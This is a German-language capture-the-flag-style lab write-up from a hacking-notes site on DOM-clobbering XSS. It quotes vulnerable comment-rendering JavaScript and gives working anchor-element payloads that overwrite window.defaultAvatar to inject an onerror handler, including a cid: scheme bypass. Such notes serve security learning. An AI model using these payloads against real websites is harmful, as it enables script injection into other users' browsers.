> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/dom/dom-clobbering-xss.md).

# DOM-Clobbering-XSS

### DOM-Clobbering ausnutzen, um XSS zu ermöglichen

Nutze eine DOM-Clobbering-Schwachstelle aus. Die Kommentarfunktion erlaubt „sicheres“ HTML. Ziel ist es, ein HTML-Fragment einzuschleusen, das eine DOM-Variable überschreibt (Clobbering), und eine XSS-Ausführung zu veranlassen (`alert()`).

<figure><img src="/files/717fb351707b9ce6de079e31f153a1e4fa4d6484" alt=""><figcaption></figcaption></figure>

Der Kommentarbereich akzeptiert HTML und einige Elemente werden zurückgegeben (z. B. ein `<h1>` Interpreter).

<figure><img src="/files/7ee06f01729645588d610af8bb8e301edfa74696" alt="" width="539"><figcaption></figcaption></figure>

* Das clientseitige Skript lädt und zeigt die wiederhergestellten Kommentare in JSON an. Es verwendet `DOMPurify.sanitize()` zum Bereinigen `author` und `Body` der Felder, aber andere DOM-Manipulationen bleiben anfällig für Clobbering.

```javascript
function loadComments(postCommentPath) {
    let xhr = new XMLHttpRequest();
    xhr.onreadystatechange = function() {
        if (this.readyState == 4 && this.status == 200) {
            let comments = JSON.parse(this.responseText);
            displayComments(comments);
        }
    };
    xhr.open("GET", postCommentPath + window.location.search);
    xhr.send();

    function escapeHTML(data) {
        return data.replace(/[<>'"]/g, function(c){
            return '&#' + c.charCodeAt(0) + ';';
        })
    }

    function displayComments(comments) {
        let userComments = document.getElementById("user-comments");

        for (let i = 0; i < comments.length; ++i)
        {
            comment = comments[i];
            let commentSection = document.createElement("section");
            commentSection.setAttribute("class", "comment");

            let firstPElement = document.createElement("p");

            let defaultAvatar = window.defaultAvatar || {avatar: '/resources/images/avatarDefault.svg'}
            let avatarImgHTML = '<img class="avatar" src="' + (comment.avatar ? escapeHTML(comment.avatar) : defaultAvatar.avatar) + '">';

            let divImgContainer = document.createElement("div");
            divImgContainer.innerHTML = avatarImgHTML

            if (comment.author) {
                if (comment.website) {
                    let websiteElement = document.createElement("a");
                    websiteElement.setAttribute("id", "author");
                    websiteElement.setAttribute("href", comment.website);
                    firstPElement.appendChild(websiteElement)
                }

                let newInnerHtml = firstPElement.innerHTML + DOMPurify.sanitize(comment.author)
                firstPElement.innerHTML = newInnerHtml
            }

            if (comment.date) {
                let dateObj = new Date(comment.date)
                let month = '' + (dateObj.getMonth() + 1);
                let day = '' + dateObj.getDate();
                let year = dateObj.getFullYear();

                if (month.length < 2)
                    month = '0' + month;
                if (day.length < 2)
                    day = '0' + day;

                dateStr = [day, month, year].join('-');

                let newInnerHtml = firstPElement.innerHTML + " | " + dateStr
                firstPElement.innerHTML = newInnerHtml
            }

            firstPElement.appendChild(divImgContainer);

            commentSection.appendChild(firstPElement);

            if (comment.body) {
                let commentBodyPElement = document.createElement("p");
                commentBodyPElement.innerHTML = DOMPurify.sanitize(comment.body);

                commentSection.appendChild(commentBodyPElement);
            }
            commentSection.appendChild(document.createElement("p"));

            userComments.appendChild(commentSection);
        }
    }
};
```

* Der Code erstellt ein `defaultAvatar` Objekt, indem es `window.defaultAvatar` falls vorhanden; `defaultAvatar` kann daher über ein DOM-Element mit einem `defaultAvatar` (Clobbering-)Bezeichner überschrieben werden.
* Da das `src` Attribut des `<img>` aus `defaultAvatar.avatar` wenn `comment.avatar` nicht vorhanden ist, kann man eine `defaultAvatar` vom Angreifer kontrollierte Variable dazu bringen, den eingefügten Wert zu beeinflussen.
* Das Einfügen erfolgt durch `divImgContainer.innerHTML = avatarImgHTML`, wodurch die Interpretation der erzeugten HTML-Zeichenfolge ausgelöst wird.

{% code overflow="wrap" %}

```javascript
let avatarImgHTML = '<img class="avatar" src="' + (comment.avatar ? escapeHTML(comment.avatar) : defaultAvatar.avatar) + '">';
```

{% endcode %}

Versuche zu erzwingen `defaultAvatar` über eine `<a id=defaultAvatar>` Element, das ein Attribut enthält, das wahrscheinlich einen clientseitigen Fehler verursacht (z. B. `onerror=alert(0)`).

```html
<a id=defaultAvatar>
<a id=defaultAvatar name=avatar href="0&quot;onerror=alert(0)>//">
```

Dies wird vom System URL-kodiert

<figure><img src="/files/8bd2ce0d21dc29c85c480d73f61034ad46308d0d" alt="" width="480"><figcaption></figcaption></figure>

<figure><img src="/files/3aa1d069fe0bdf5320cc2aa63ac794bc3d067972" alt=""><figcaption></figcaption></figure>

Contouring getestet mit einem `cid:` Schema, sodass der Wert nicht kodiert wird:

```javascript
<a id=defaultAvatar>
<a id=defaultAvatar name=avatar href="cid:&quot;onerror=alert(0)>//">
```

letzteres interpretiert wird

<figure><img src="/files/20c198ba764af8adf7e807d29e167f2211a43264" alt="" width="443"><figcaption></figcaption></figure>

<figure><img src="/files/f0d7c68e75e610fd78a95739b9c96df60db59aff" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web/dom/dom-clobbering-xss.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
